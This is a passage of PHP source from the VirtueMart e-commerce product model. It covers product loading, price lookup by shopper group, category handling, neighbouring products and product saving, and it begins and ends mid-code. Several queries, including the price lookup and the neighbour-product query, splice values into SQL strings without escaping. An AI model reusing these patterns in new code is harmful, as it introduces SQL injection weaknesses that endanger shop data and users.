'.$mem.'M'); vmError ('Memory limit '.$this->memory_limit.' reached in model product getProduct() ' . $virtuemart_product_id. ' tried to allocate '.$mem); return false; } $child = $this->getProductSingle ($virtuemart_product_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if (!$child->published && $onlyPublished) { //vmdebug('getProduct child is not published, returning zero'); $_products[$productKey] = FALSE; return FALSE; } if(!isset($child->orderable)){ $child->orderable = TRUE; } //store the original parent id $pId = $child->virtuemart_product_id; $ppId = $child->product_parent_id; $published = $child->published; $i = 0; $runtime = microtime (TRUE) - $this->starttime; //Check for all attributes to inherited by parent products while (!empty($child->product_parent_id)) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProduct() ', $child); vmError ('Max execution time reached in model product getProduct() ' . $child->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProduct() ', $child); vmError ('Time: ' . $runtime . ' Too many child products in getProduct() ' . $child->product_parent_id); break; } } $parentProduct = $this->getProductSingle ($child->product_parent_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if ($child->product_parent_id === $parentProduct->product_parent_id) { vmError('Error, parent product with virtuemart_product_id = '.$parentProduct->virtuemart_product_id.' has same parent id like the child with virtuemart_product_id '.$child->virtuemart_product_id); break; } $attribs = get_object_vars ($parentProduct); foreach ($attribs as $k=> $v) { if ('product_in_stock' != $k and 'product_ordered' != $k) {// Do not copy parent stock into child if (strpos ($k, '_') !== 0 and empty($child->$k)) { $child->$k = $v; // vmdebug($child->product_parent_id.' $child->$k',$child->$k); } } } $i++; if ($child->product_parent_id != $parentProduct->product_parent_id) { $child->product_parent_id = $parentProduct->product_parent_id; } else { $child->product_parent_id = 0; } } //vmdebug('getProduct Time: '.$runtime); $child->published = $published; $child->virtuemart_product_id = $pId; $child->product_parent_id = $ppId; if ($withCalc) { $child->prices = $this->getPrice ($child, array(), 1); //vmdebug(' use of $child->prices = $this->getPrice($child,array(),1)'); } if (empty($child->product_template)) { $child->product_template = VmConfig::get ('producttemplate'); } if(!empty($child->canonCatLink)) { // Add the product link for canonical $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->canonCatLink; } else { $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; } $child->canonical = JRoute::_ ($child->canonical,FALSE); if(!empty($child->virtuemart_category_id)) { $child->link = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->virtuemart_category_id, FALSE); } else { $child->link = $child->canonical; } $child->quantity = $quantity; $app = JFactory::getApplication (); if ($app->isSite () and VmConfig::get ('stockhandle', 'none') == 'disableit' and ($child->product_in_stock - $child->product_ordered) <= 0) { vmdebug ('STOCK 0', VmConfig::get ('use_as_catalog', 0), VmConfig::get ('stockhandle', 'none'), $child->product_in_stock); $_products[$productKey] = FALSE; } else { $_products[$productKey] = $child; } return $_products[$productKey]; } public function loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front){ $db = JFactory::getDbo(); $this->_nullDate = $db->getNullDate(); $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); //$productId = $this->_id===0? $product->virtuemart_product_id:$this->_id; //$productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $q = 'SELECT * FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_id` = "'.$productId.'" '; if($front){ if(count($virtuemart_shoppergroup_ids)>0){ $q .= ' AND ('; $sqrpss = ''; foreach($virtuemart_shoppergroup_ids as $sgrpId){ $sqrpss .= ' `virtuemart_shoppergroup_id` ="'.$sgrpId.'" OR '; } $q .= substr($sqrpss,0,-4); $q .= ' OR `virtuemart_shoppergroup_id` IS NULL OR `virtuemart_shoppergroup_id`="0") '; } $q .= ' AND ( (`product_price_publish_up` IS NULL OR `product_price_publish_up` = "' . $db->getEscaped($this->_nullDate) . '" OR `product_price_publish_up` <= "' .$db->getEscaped($this->_now) . '" ) AND (`product_price_publish_down` IS NULL OR `product_price_publish_down` = "' .$db->getEscaped($this->_nullDate) . '" OR product_price_publish_down >= "' . $db->getEscaped($this->_now) . '" ) )'; $quantity = (int)$quantity; if(!empty($quantity)){ $q .= ' AND( (`price_quantity_start` IS NULL OR `price_quantity_start`="0" OR `price_quantity_start` <= '.$quantity.') AND (`price_quantity_end` IS NULL OR `price_quantity_end`="0" OR `price_quantity_end` >= '.$quantity.') )'; } } else { $q .= ' ORDER BY `product_price` DESC'; } $db->setQuery($q); $prices = $db->loadAssocList(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('getProductSingle '.$err); } else { if($prices and count($prices)==0){ vmdebug('getProductSingle getPrice query',$q); } } return $prices; } public function getProductPrices(&$product,$quantity,$virtuemart_shoppergroup_ids,$front,$loop=false){ $product->product_price = null; $product->product_override_price = null; $product->override = null; $product->virtuemart_product_price_id = null; $product->virtuemart_shoppergroup_id = null; $product->product_price_publish_up = null; $product->product_price_publish_down = null; $product->price_quantity_start = null; $product->price_quantity_end = null; $productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $product->prices = $this->loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front); $i = 0; $runtime = microtime (TRUE) - $this->starttime; $product_parent_id = $product->product_parent_id; //Check for all attributes to inherited by parent products if($loop) { while ( $product_parent_id and count($product->prices)==0) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProductPrices() ', $product); vmError ('Max execution time reached in model product getProductPrices() ' . $product->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProductPrices() ', $product); vmError ('Time: ' . $runtime . ' Too many child products in getProductPrices() ' . $product->product_parent_id); break; } } $product->prices = $this->loadProductPrices($product_parent_id,$quantity,$virtuemart_shoppergroup_ids,$front); $i++; if(!isset($product->prices['salesPrice']) and $product->product_parent_id!=0){ $db = JFactory::getDbo(); $db->setQuery (' SELECT `product_parent_id` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` =' . $product_parent_id); $product_parent_id = $db->loadResult (); } } } if(count($product->prices)===1){ unset($product->prices[0]['virtuemart_product_id']); unset($product->prices[0]['created_on']); unset($product->prices[0]['created_by']); unset($product->prices[0]['modified_on']); unset($product->prices[0]['modified_by']); unset($product->prices[0]['locked_on']); unset($product->prices[0]['locked_by']); //vmdebug('getProductPrices my price ',$product->prices[0]); // For merging of the price and product array, the shoppergroup id from price must be unsetted. // Otherwise the product becomes the shoppergroup from the price. $priceShoppergroupID = $product->prices[0]['virtuemart_shoppergroup_id']; unset($product->prices[0]['virtuemart_shoppergroup_id']); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); $product->prices[0]['virtuemart_shoppergroup_id'] = $priceShoppergroupID; } else if ( $front and count($product->prices)>1 ) { foreach($product->prices as $price){ if(empty($price['virtuemart_shoppergroup_id'])){ if(empty($emptySpgrpPrice))$emptySpgrpPrice = $price; } else if(in_array($price['virtuemart_shoppergroup_id'],$virtuemart_shoppergroup_ids)){ $spgrpPrice = $price; break; } } if(!empty($spgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$spgrpPrice); //$prices = (array)$spgrpPrice; } else if(!empty($emptySpgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$emptySpgrpPrice); //$prices = (array)$emptySpgrpPrice; } else { vmWarn('COM_VIRTUEMART_PRICE_AMBIGUOUS'); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); //$prices = (array)$product->prices[0]; } } } var $withRating = false; public function getProductSingle ($virtuemart_product_id = NULL, $front = TRUE, $quantity = 1,$customfields=TRUE,$virtuemart_shoppergroup_ids=0) { //$this->fillVoidProduct($front); if (!empty($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } if($virtuemart_shoppergroup_ids===0){ $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } } $virtuemart_shoppergroup_idsString = 0; if(!empty($virtuemart_shoppergroup_ids) and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else if(!empty($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.$front.$customfields.$this->withRating; //$productKey = md5($virtuemart_product_id.$front.$quantity.$customfields.$this->withRating.$virtuemart_shoppergroup_idsString); static $_productsSingle = array(); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProduct, take from cache '.$productKey); return $_productsSingle[$productKey]; } else if(!$customfields or !$this->withRating){ $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.TRUE.TRUE.$this->withRating; //vmdebug('getProductSingle, recreate $productKey '.$productKey); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProductSingle, take from cache recreated key',$_productsSingle[$productKey]); return $_productsSingle[$productKey]; } } if (!empty($this->_id)) { // $joinIds = array('virtuemart_product_price_id' =>'#__virtuemart_product_prices','virtuemart_manufacturer_id' =>'#__virtuemart_product_manufacturers','virtuemart_customfield_id' =>'#__virtuemart_product_customfields'); if($this->withRating){ $joinIds = array('rating' => '#__virtuemart_ratings','virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } else { $joinIds = array('virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } $product = $this->getTable ('products'); $product->load ($this->_id, 0, 0, $joinIds); $xrefTable = $this->getTable ('product_medias'); $product->virtuemart_media_id = $xrefTable->load ((int)$this->_id); // Load the shoppers the product is available to for Custom Shopper Visibility $product->shoppergroups = $this->getProductShoppergroups ($this->_id); if (!empty($product->shoppergroups) and $front) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $commonShpgrps = array_intersect ($virtuemart_shoppergroup_ids, $product->shoppergroups); if (empty($commonShpgrps)) { vmdebug('getProductSingle creating void product, usergroup does not fit ',$product->shoppergroups); return $this->fillVoidProduct ($front); } } $this->getProductPrices($product,$quantity,$virtuemart_shoppergroup_ids,$front); if (!empty($product->virtuemart_manufacturer_id)) { $mfTable = $this->getTable ('manufacturers'); $mfTable->load ((int)$product->virtuemart_manufacturer_id); $product = (object)array_merge ((array)$mfTable, (array)$product); } else { $product->virtuemart_manufacturer_id = array(); $product->mf_name = ''; $product->mf_desc = ''; $product->mf_url = ''; } // Load the categories the product is in //$product->categories = $this->getProductCategories ($this->_id, $front); $product->categories = $this->getProductCategories ($this->_id, FALSE); //We need also the unpublished categories, else the calculation rules do not work if(!empty($product->product_url)){ $product->canonCatLink = $product->product_url; } else if(!empty($product->categories)){ $categories = $this->getProductCategories ($this->_id, TRUE); //only published if($categories){ if(!is_array($categories)) $categories = (array)$categories; $product->canonCatLink = $categories[0]; } } $product->virtuemart_category_id = 0; if ($front) { if (!empty($product->categories) and is_array ($product->categories) and count($product->categories)>1){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } //We must first check if we come from another category, due the canoncial link we would have always the same catgory id for a product //But then we would have wrong neighbored products / category and product layouts $last_category_id = shopFunctionsF::getLastVisitedCategoryId (); if ($last_category_id!==0 and in_array ($last_category_id, $product->categories)) { $product->virtuemart_category_id = $last_category_id; //vmdebug('I take for product the last category ',$last_category_id,$product->categories); } else { $virtuemart_category_id = vRequest::getInt ('virtuemart_category_id', 0); if ($virtuemart_category_id!==0 and in_array ($virtuemart_category_id, $product->categories)) { $product->virtuemart_category_id = $virtuemart_category_id; //vmdebug('I take for product the requested category ',$virtuemart_category_id,$product->categories); } else { if (!empty($product->categories) and is_array ($product->categories) and array_key_exists (0, $product->categories)) { $product->virtuemart_category_id = $product->canonCatLink; //vmdebug('I take for product the main category ',$product->virtuemart_category_id,$product->categories); } } } } else if(!empty($product->canonCatLink)) { $product->virtuemart_category_id = $product->canonCatLink; } } else { //This construction should allow us to see category depended prices in the BE $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); if($virtuemart_category_id!==0 and !empty($product->categories) ) { if(is_array($product->categories) and in_array ($virtuemart_category_id, $product->categories)){ $product->virtuemart_category_id = $virtuemart_category_id; } else if($product->categories==$virtuemart_category_id) { $product->virtuemart_category_id = $virtuemart_category_id; } } if (empty($product->virtuemart_category_id)) { if (!empty($product->categories) and is_array ($product->categories) and !empty($product->categories[0])) { $product->virtuemart_category_id = $product->categories[0]; } else { $product->virtuemart_category_id = null; } } // vmdebug('getProductSingle BE request $virtuemart_category_id',$virtuemart_category_id,$product->virtuemart_category_id); } if(!empty($product->virtuemart_category_id)){ $q = 'SELECT `ordering`,`id` FROM `#__virtuemart_product_categories` WHERE `virtuemart_product_id` = "' . $this->_id . '" and `virtuemart_category_id`= "' . $product->virtuemart_category_id . '" '; $this->_db->setQuery ($q); // change for faster ordering $ordering = $this->_db->loadObject (); if (!empty($ordering)) { $product->ordering = $ordering->ordering; //This is the ordering id in the list to store the ordering notice by Max Milbers $product->id = $ordering->id; } else { $product->ordering = $this->_autoOrder++; $product->id = $this->_autoOrder; vmdebug('$product->virtuemart_category_id no ordering stored for '.$ordering->id); } $catTable = $this->getTable ('categories'); $catTable->load ($product->virtuemart_category_id); $product->category_name = $catTable->category_name; } else { $product->category_name = null; $product->virtuemart_category_id = null; $product->ordering = null; $product->id = $this->_autoOrder++; vmdebug('$product->virtuemart_category_id is empty'); } if (!$front and $customfields) { if(!$this->listing){ $customfieldModel = VmModel::getModel ('Customfields'); $product->customfields = $customfieldModel->getproductCustomslist ($this->_id); if (empty($product->customfields) and !empty($product->product_parent_id)) { //$product->customfields = $this->productCustomsfieldsClone($product->product_parent_id,true) ; $product->customfields = $customfieldModel->getproductCustomslist ($product->product_parent_id, $this->_id); $product->customfields_fromParent = TRUE; } } } else if($customfields){ //only needed in FE productdetails, is now loaded in the view.html.php // /* Load the neighbours */ // $product->neighbours = $this->getNeighborProducts($product); // Fix the product packaging if ($product->product_packaging) { $product->packaging = $product->product_packaging & 0xFFFF; $product->box = ($product->product_packaging >> 16) & 0xFFFF; } else { $product->packaging = ''; $product->box = ''; } // set the custom variants //vmdebug('getProductSingle id '.$product->virtuemart_product_id.' $product->virtuemart_customfield_id '.$product->virtuemart_customfield_id); if (!empty($product->virtuemart_customfield_id)) { $customfieldModel = VmModel::getModel ('Customfields'); // Load the custom product fields $product->customfields = $customfieldModel->getProductCustomsField ($product); $product->customfieldsRelatedCategories = $customfieldModel->getProductCustomsFieldRelatedCategories ($product); $product->customfieldsRelatedProducts = $customfieldModel->getProductCustomsFieldRelatedProducts ($product); // custom product fields for add to cart $product->customfieldsCart = $customfieldModel->getProductCustomsFieldCart ($product); $child = $this->getProductChilds ($this->_id); $product->customsChilds = $customfieldModel->getProductCustomsChilds ($child, $this->_id); } // Check the stock level if (empty($product->product_in_stock)) { $product->product_in_stock = 0; } } $_productsSingle[$productKey] = $product; } else { $_productsSingle[$productKey] = $this->fillVoidProduct ($front); } $this->product = $_productsSingle[$productKey]; return $_productsSingle[$productKey]; } /** * This fills the empty properties of a product * todo add if(!empty statements * * @author Max Milbers * @param unknown_type $product * @param unknown_type $front */ private function fillVoidProduct ($front = TRUE) { /* Load an empty product */ $product = $this->getTable ('products'); $product->load (); /* Add optional fields */ $product->virtuemart_manufacturer_id = NULL; $product->virtuemart_product_price_id = NULL; if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } //$product->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); $product->product_price = NULL; $product->product_currency = NULL; $product->product_price_quantity_start = NULL; $product->product_price_quantity_end = NULL; $product->product_price_publish_up = NULL; $product->product_price_publish_down = NULL; $product->product_tax_id = NULL; $product->product_discount_id = NULL; $product->product_override_price = NULL; $product->override = NULL; $product->categories = array(); $product->shoppergroups = array(); if ($front) { $product->link = ''; $product->prices = array(); $product->virtuemart_category_id = 0; $product->virtuemart_shoppergroup_id = 0; $product->mf_name = ''; $product->packaging = ''; $product->related = ''; $product->box = ''; } return $product; } /** * Load the product category * * @author Kohl Patrick,Max Milbers * @return array list of categories product is in */ public function getProductCategories ($virtuemart_product_id = 0, $front = FALSE) { $categories = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT pc.`virtuemart_category_id` FROM `#__virtuemart_product_categories` as pc'; if ($front) { $q .= ' LEFT JOIN `#__virtuemart_categories` as c ON c.`virtuemart_category_id` = pc.`virtuemart_category_id`'; } $q .= ' WHERE pc.`virtuemart_product_id` = ' . (int)$virtuemart_product_id; if ($front) { $q .= ' AND `published`=1 ORDER BY `c`.`ordering` ASC'; } //$q .= ' ORDER BY `pc`.`ordering` DESC '; $this->_db->setQuery ($q); $categories = $this->_db->loadResultArray (); } return $categories; } /** * Load the product shoppergroups * * @author Kohl Patrick,Max Milbers, Cleanshooter * @return array list of updateProductShoppergroupsTable that can view the product */ private function getProductShoppergroups ($virtuemart_product_id = 0) { $shoppergroups = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_product_shoppergroups` WHERE `virtuemart_product_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); $shoppergroups = $this->_db->loadResultArray (); } return $shoppergroups; } /** * Get the products in a given category * * @author RolandD * @access public * @param int $virtuemart_category_id the category ID where to get the products for * @return array containing product objects */ public function getProductsInCategory ($categoryId) { $ids = $this->sortSearchListQuery (TRUE, $categoryId); $this->products = $this->getProducts ($ids); return $this->products; } /** * Loads different kind of product lists. * you can load them with calculation or only published onces, very intersting is the loading of groups * valid values are latest, topten, featured, recent. * * The function checks itself by the config if the user is allowed to see the price or published products * * @author Max Milbers */ public function getProductListing ($group = FALSE, $nbrReturnProducts = FALSE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE, $filterCategory = TRUE, $category_id = 0) { $app = JFactory::getApplication (); if ($app->isSite ()) { $front = TRUE; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin', 'storeadmin')) { $onlyPublished = TRUE; if ($show_prices = VmConfig::get ('show_prices', 1) == '0') { $withCalc = FALSE; } } } else { $front = FALSE; } $this->setFilter (); if ($filterCategory === TRUE) { if ($category_id) { $this->virtuemart_category_id = $category_id; } } else { $this->virtuemart_category_id = FALSE; } $ids = $this->sortSearchListQuery ($onlyPublished, $this->virtuemart_category_id, $group, $nbrReturnProducts); //quickndirty hack for the BE list, we can do that, because in vm2.1 this is anyway fixed correctly $this->listing = TRUE; $products = $this->getProducts ($ids, $front, $withCalc, $onlyPublished, $single); $this->listing = FALSE; return $products; } /** * overriden getFilter to persist filters * * @author OSP */ public function setFilter () { $app = JFactory::getApplication (); if (!$app->isSite ()) { //persisted filter only in admin $view = JRequest::getWord ('view'); $mainframe = JFactory::getApplication (); $this->virtuemart_category_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_category_id', 'virtuemart_category_id', 0, 'int'); $this->setState ('virtuemart_category_id', $this->virtuemart_category_id); $this->virtuemart_manufacturer_id = $mainframe->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter.virtuemart_manufacturer_id', 'virtuemart_manufacturer_id', 0, 'int'); $this->setState ('virtuemart_manufacturer_id', $this->virtuemart_manufacturer_id); } else { $this->virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', FALSE); } } /** * Returns products for given array of ids * * @author Max Milbers * @param int $productIds * @param boolean $front * @param boolean $withCalc * @param boolean $onlyPublished */ public function getProducts ($productIds, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE) { if (empty($productIds)) { return array(); } $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } $maxNumber = VmConfig::get ('absMaxProducts', 700); $products = array(); $i = 0; if ($single) { foreach ($productIds as $id) { if ($product = $this->getProductSingle ((int)$id, $front,1,TRUE,$virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } else { foreach ($productIds as $id) { if ($product = $this->getProduct ((int)$id, $front, $withCalc, $onlyPublished, 1, TRUE, $virtuemart_shoppergroup_ids)) { $products[] = $product; $i++; } if ($i > $maxNumber) { vmdebug ('Better not to display more than ' . $maxNumber . ' products'); return $products; } } } return $products; } /** * This function retrieves the "neighbor" products of a product specified by $virtuemart_product_id * Neighbors are the previous and next product in the current list * * @author Max Milbers * @param object $product The product to find the neighours of * @return array */ public function getNeighborProducts ($product, $onlyPublished = TRUE, $max = 1) { $db = JFactory::getDBO (); $neighbors = array('previous' => '', 'next' => ''); $oldDir = $this->filter_order_Dir; $this->_onlyQuery = true; if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } $this->filter_order_Dir = $direction; //We try the method to get exact the next product, the other method would be to get the list of the browse view again and do a match //with the product id and giving back the neighbours $queryArray = $this->sortSearchListQuery($onlyPublished,(int)$product->virtuemart_category_id,false,1); if(isset($queryArray[1])){ $pos= strpos($queryArray[3],'ORDER BY'); $sp = array(); if($pos){ $orderByName = trim(substr ($queryArray[3],($pos+8)) ); $orderByName = str_replace('`','',$orderByName); if(strpos($orderByName,'.')){ $sp = explode('.',$orderByName); $orderByName = $sp[1]; } } $q = 'SELECT p.`virtuemart_product_id`, l.`product_name`, `pc`.ordering FROM `#__virtuemart_products` as p'; $joinT = ''; if(is_array($queryArray[1])){ $joinT = implode('',$queryArray[1]); } $q .= $joinT . ' WHERE (' . implode (' AND ', $queryArray[2]) . ') AND l.`virtuemart_product_id`!="'.$product->virtuemart_product_id.'" '; if(isset($product->$orderByName)){ $orderByValue = $product->$orderByName; if(isset($sp[0])){ $orderByName = '`'.$sp[0].'`.'.$orderByName; } } else { $orderByName = 'product_name'; $orderByValue = $product->product_name; } foreach ($neighbors as &$neighbor) { $qm = ' AND '.$orderByName.' '.$op.' "'.$orderByValue.'" ORDER BY '.$orderByName.' '.$direction.' LIMIT 1'; $db->setQuery ($q.$qm); //vmdebug('getNeighborProducts ',$q.$qm); if ($result = $db->loadAssocList ()) { $neighbor = $result; } if($this->filter_order_Dir=='ASC'){ $direction = 'DESC'; $op = '<='; } else { $direction = 'ASC'; $op = '>='; } } } $this->filter_order_Dir = $oldDir; $this->_onlyQuery = false; return $neighbors; } /* reorder product in one category * TODO this not work perfect ! (Note by Patrick Kohl) */ function saveorder ($cid = array(), $order, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); $q = 'SELECT `id`,`ordering` FROM `#__virtuemart_product_categories` WHERE virtuemart_category_id=' . (int)$virtuemart_category_id . ' ORDER BY `ordering` ASC'; $this->_db->setQuery ($q); $pkey_orders = $this->_db->loadObjectList (); $tableOrdering = array(); foreach ($pkey_orders as $orderTmp) { $tableOrdering[$orderTmp->id] = $orderTmp->ordering; } // set and save new ordering foreach ($order as $key => $ord) { $tableOrdering[$key] = $ord; } asort ($tableOrdering); $i = 1; $ordered = 0; foreach ($tableOrdering as $key => $ord) { // if ($order != $i) { $this->_db->setQuery ('UPDATE `#__virtuemart_product_categories` SET `ordering` = ' . $i . ' WHERE `id` = ' . (int)$key . ' '); if (!$this->_db->query ()) { vmError ($this->_db->getErrorMsg ()); return FALSE; } $ordered++; // } $i++; } if ($ordered) { $msg = JText::sprintf ('COM_VIRTUEMART_ITEMS_MOVED', $ordered); } else { $msg = JText::_ ('COM_VIRTUEMART_ITEMS_NOT_MOVED'); } JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . $virtuemart_category_id, $msg); } /** * Moves the order of a record * * @param integer The increment to reorder by */ function move ($direction, $filter = NULL) { JRequest::checkToken () or jexit ('Invalid Token'); // Check for request forgeries $table = $this->getTable ('product_categories'); $table->move ($direction); JFactory::getApplication ()->redirect ('index.php?option=com_virtuemart&view=product&virtuemart_category_id=' . JRequest::getInt ('virtuemart_category_id', 0)); } /** * Store a product * * @author Max Milbers * @param $product given as reference * @param bool $isChild Means not that the product is child or not. It means if the product should be threated as child * @return bool */ public function store (&$product, $isChild = FALSE) { JRequest::checkToken () or jexit ('Invalid Token'); if ($product) { $data = (array)$product; } if (!class_exists ('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); $perm = Permissions::getInstance(); $superVendor = $perm->isSuperVendor(); if(empty($superVendor)){ vmError('You are not a vendor or administrator, storing of product cancelled'); return FALSE; } if (isset($data['intnotes'])) { $data['intnotes'] = trim ($data['intnotes']); } // Setup some place holders $product_data = $this->getTable ('products'); if(!empty($data['virtuemart_product_id'])){ $product_data -> load($data['virtuemart_product_id']); } //Set the decimals like product packaging //$decimals = array('product_length','product_width','product_height','product_weight','product_packaging'); foreach($this->decimals as $decimal){ if (array_key_exists ($decimal, $data)) { if(!empty($data[$decimal])){ $data[$decimal] = str_replace(',','.',$data[$decimal]); } else { $data[$decimal] = null; $product_data->$decimal = null; //vmdebug('Store product, set $decimal '.$decimal.' = null'); } } } //with the true, we do preloading and preserve so old values note by Max Milbers // $product_data->bindChecknStore ($data, $isChild); //We prevent with this line, that someone is storing a product as its own parent if(!empty($product_data->product_parent_id) and $product_data->product_parent_id == $data['virtuemart_product_id']){ $product_data->product_parent_id = 0; } $stored = $product_data->bindChecknStore ($data, false); $errors = $product_data->getErrors (); if(!$stored or count($errors)>0){ foreach ($errors as $error) { vmError ('Product store '.$error); } if(!$stored){ vmError('You are not an administrator or the correct vendor, storing of product cancelled'); } return FALSE; } $this->_id = $data['virtuemart_product_id'] = (int)$product_data->virtuemart_product_id; if (empty($this->_id)) { vmError('Product not stored, no id'); return FALSE; } //We may need to change this, the reason it is not in the other list of commands for parents if (!$isChild) { if (!empty($data['save_customfields'])) { if (!class_exists ('VirtueMartModelCustomfields')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'customfields.php'); } VirtueMartModelCustomfields::storeProductCustomfields ('product', $data, $product_data->virtuemart_product_id); } } // Get old IDS $old_price_ids = $this->loadProductPrices($this->_id,0,0,false); //vmdebug('$old_price_ids ',$old_price_ids); if (isset($data['mprices']['product_price']) and count($data['mprices']['product_price']) > 0){ foreach($data['mprices']['product_price'] as $k => $product_price){ $pricesToStore = array(); $pricesToStore['virtuemart_product_id'] = $this->_id; $pricesToStore['virtuemart_product_price_id'] = (int)$data['mprices']['virtuemart_product_price_id'][$k]; if (!$isChild){ //$pricesToStore['basePrice'] = $data['mprices']['basePrice'][$k]; $pricesToStore['product_override_price'] = $data['mprices']['product_override_price'][$k]; $pricesToStore['override'] = (int)$data['mprices']['override'][$k]; $pricesToStore['virtuemart_shoppergroup_id'] = (int)$data['mprices']['virtuemart_shoppergroup_id'][$k]; $pricesToStore['product_tax_id'] = (int)$data['mprices']['product_tax_id'][$k]; $pricesToStore['product_discount_id'] = (int)$data['mprices']['product_discount_id'][$k]; $pricesToStore['product_currency'] = (int)$data['mprices']['product_currency'][$k]; $pricesToStore['product_price_publish_up'] = $data['mprices']['product_price_publish_up'][$k]; $pricesToStore['product_price_publish_down'] = $data['mprices']['product_price_publish_down'][$k]; $pricesToStore['price_quantity_start'] = (int)$data['mprices']['price_quantity_start'][$k]; $pricesToStore['price_quantity_end'] = (int)$data['mprices']['price_quantity_end'][$k]; } if (!$isChild and isset($data['mprices']['use_desired_price'][$k]) and $data['mprices']['use_desired_price'][$k] == "1") { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $pricesToStore['salesPrice'] = $data['mprices']['salesPrice'][$k]; $pricesToStore['product_price'] = $data['mprices']['product_price'][$k] = $calculator->calculateCostprice ($this->_id, $pricesToStore); unset($data['mprices']['use_desired_price'][$k]); } else { if(isset($data['mprices']['product_price'][$k]) ){ $pricesToStore['product_price'] = $data['mprices']['product_price'][$k]; } } if ($isChild) $childPrices = $this->loadProductPrices($this->_id,0,0,false); if ((isset($pricesToStore['product_price']) and $pricesToStore['product_price']!='') || (isset($childPrices) and count($childPrices)>1)) { if ($isChild) { //$childPrices = $this->loadProductPrices($pricesToStore['virtuemart_product_price_id'],0,0,false); if(is_array($old_price_ids) and count($old_price_ids)>1){ //We do not touch multiple child prices. Because in the parent list, we see no price, the gui is //missing to reflect the information properly. $pricesToStore = false; $old_price_ids = array(); } else { unset($data['mprices']['product_override_price'][$k]); unset($pricesToStore['product_override_price']); unset($data['mprices']['override'][$k]); unset($pricesToStore['override']); } } //$data['mprices'][$k] = $data['virtuemart_product_id']; if($pricesToStore){ $toUnset = 